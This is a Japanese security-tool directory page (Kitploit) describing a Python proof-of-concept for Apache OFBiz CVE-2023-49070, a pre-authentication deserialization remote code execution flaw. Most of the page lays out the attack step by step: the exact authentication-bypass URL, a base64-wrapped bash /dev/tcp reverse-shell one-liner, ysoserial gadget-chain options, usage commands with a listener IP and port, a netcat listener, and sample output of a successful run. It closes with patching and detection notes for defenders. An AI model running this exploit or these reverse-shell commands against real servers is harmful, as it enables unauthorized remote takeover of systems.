Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-49070 — Apache OFBiz CVE-2023-49070 の Python PoC: /webtools/control/xmlrpc における認証バイパスと、ysoserial ガジェットチェーンによる認証前デシリアライゼーション RCE の達成。 | Kitploit
ツール/GitHubGitHub/bardlaudian/cve-2023-49070
防御ツールペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミング
GitHubbardlaudian/cve-2023-49070

CVE-2023-49070

Apache OFBiz CVE-2023-49070 の Python PoC: /webtools/control/xmlrpc における認証バイパスと、ysoserial ガジェットチェーンによる認証前デシリアライゼーション RCE の達成。

リポジトリを見る
110時間52分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

ofbiz-xmlrpc-rce (CVE-2023-49070)

Apache OFBiz XML-RPC の認証前デシリアライゼーション RCE (CVE-2023-49070) の PoC: 認証バイパス経路により、レガシーな /webtools/control/xmlrpc エンドポイントが利用可能になり、XML-RPC の <serializable> パラメータ内に密輸された攻撃者制御の Java オブジェクトがデシリアライズされます。

⚠️ 認可されたセキュリティテスト専用。 自身が所有するシステム、または明示的にテストを認可されたシステム (CTF/ラボ環境、署名済みスコープのあるエンゲージメントなど) に対してのみ実行してください。コンピュータシステムへの不正アクセスは、ほとんどの法域で違法です。

脆弱性

Apache OFBiz の view-map 認証は通常、/webtools/control/xmlrpc を保護しています。影響を受けるバージョン (< 18.12.10) では、パスにセミコロンと特定のクエリパラメータを追加することで、このチェックをスキップさせることができます:

root@kitploit:~
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y

到達可能になると、このエンドポイントは XML-RPC リクエストを受け付けます。Apache XML-RPC の Java 実装は <serializable> 拡張型をサポートしています: この要素の内容は base64 デコードされ、そのまま ObjectInputStream.readObject() に渡されます — 典型的な安全でない Java デシリアライゼーションです。クラスパス上に適切なガジェットチェーンがあれば (この PoC はデフォルトで ysoserial 経由の CommonsBeanutils1 を使用)、これは OFBiz を実行している OS ユーザーとしてのリモートコマンド実行に直結します。

これは以前の OFBiz XML-RPC デシリアライゼーション CVE (例: CVE-2023-51467 の認証バイパスの兄弟) と同じバグファミリーです。OFBiz ではこのエンドポイントにおいて認証バイパス + デシリアライゼーションのペアというパターンが繰り返し発生しているため、この PoC に依存する前に、ターゲットに適用される正確な CVE/バージョン範囲を確認してください。

このスクリプトが行うこと

  1. bash -i >& /dev/tcp/LHOST/LPORT 0>&1 のリバースシェルを構築し、base64 エンコードして、bash -c 'echo ... | base64 -d | bash' のワンライナーにラップします (実行チェーンの下流でのシェルメタ文字の破損を回避します)。
  2. ysoserial を呼び出して、そのワンライナーを実行するシリアライズ済みガジェットチェーン (デフォルトでは CommonsBeanutils1、設定可能) を構築します。
  3. ガジェットのバイト列を base64 エンコードし、XML-RPC の <serializable> ペイロードにラップします。
  4. TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y に POST します。
  5. HTTP ステータスを報告し、レスポンスボディに OFBiz のデシリアライゼーション後のエラーマーカー (No such service) が含まれているかどうかを示します — これはペイロードが処理されたシグナルであり、コード実行の証明ではありません。

このスクリプトが行わないこと

シェルを取得できたかどうかは確認できません — デシリアライゼーションが実行されると、OFBiz はどちらの場合でも一般的なエラーを返します (XML-RPC メソッド自体 Dns は実際のサービスとして存在しません)。常にリスナーを起動しておき、スクリプトのコンソール出力だけでなくリスナーを確認してください。

要件

  • Python 3.8+、pip install requests --break-system-packages
  • Java (ysoserial ビルドと互換性のある任意のバージョン)
  • ysoserial-all.jar — frohoff/ysoserial から自分でビルドする (mvn clean package -DskipTests) か、リリース jar を入手してください。ここには同梱されていません — 独自のライセンスを持つ大規模なサードパーティツールです。

使用方法

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py \
    --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar

まずリスナーを起動します:

root@kitploit:~
nc -lvnp 4444

すべてのオプション

他のガジェットチェーンを試す

CommonsBeanutils1 は OFBiz の定番の選択です (クラスパスに commons-beanutils が同梱されています) が、うまくいかない場合、OFBiz にバンドルされているライブラリは他のチェーンもサポートしています。--gadget を差し替えるだけです:

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar \
    --gadget CommonsCollections6

実行例

root@kitploit:~
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
    This is a signal the gadget chain executed, not proof of a shell.

[*] Check your listener: nc -lvnp 4444

検出と緩和 (防御側のメモ)

  • Apache OFBiz 18.12.10 以降にパッチを適用する (またはご使用のブランチの最新のパッチ済みリリース) — これにより認証バイパス経路が塞がれ、XML-RPC エンドポイントのデシリアライゼーションが強化されます。
  • XML-RPC 統合を積極的に使用していない場合は /webtools/control/xmlrpc を無効化または制限する — webtools コンポーネントは一般的に攻撃対象となるため、強い理由がない限りインターネットに公開すべきではありません。
  • セミコロンベースのパスセグメントを WAF/リバースプロキシ層でフィルタリングする (多層防御として) — OFBiz の認証バイパス CVE の多くは、Java サーブレットのパス解析に対するこの ; トリックを共有しています。
  • デシリアライゼーションの強化: 先読みデシリアライゼーションフィルタ (ObjectInputFilter、JEP 290 / Java 9+ 以降で利用可能) を使用して、どのエンドポイントがデシリアライゼーションをトリガーするかに関係なく、既知のガジェットチェーンクラスがインスタンス化されるのをブロックします。
  • 監視対象: <serializable> 要素を含む */control/xmlrpc* への POST、OFBiz ホストからの予期しない外向き接続、OFBiz を実行している Java プロセスから生成された子プロセス。

参考資料

  • NVD — CVE-2023-49070
  • Apache OFBiz security advisories
  • ysoserial

ライセンス

MIT — LICENSE を参照してください。

ツールをダウンロード
FlagDefaultDescription
--target(required)ターゲットのベース URL、例: https://ofbiz.target.tld
--lhost(required)リスナーの IP
--lport(required)リスナーのポート
--ysoserialysoserial-all.jarysoserial jar へのパス
--gadgetCommonsBeanutils1使用する ysoserial ガジェットチェーン
--java-binjava呼び出す Java バイナリ
--timeout15HTTP リクエストのタイムアウト (秒)
--proxy(none)オプションの HTTP(S) プロキシ、例: Burp 経由でのルーティング用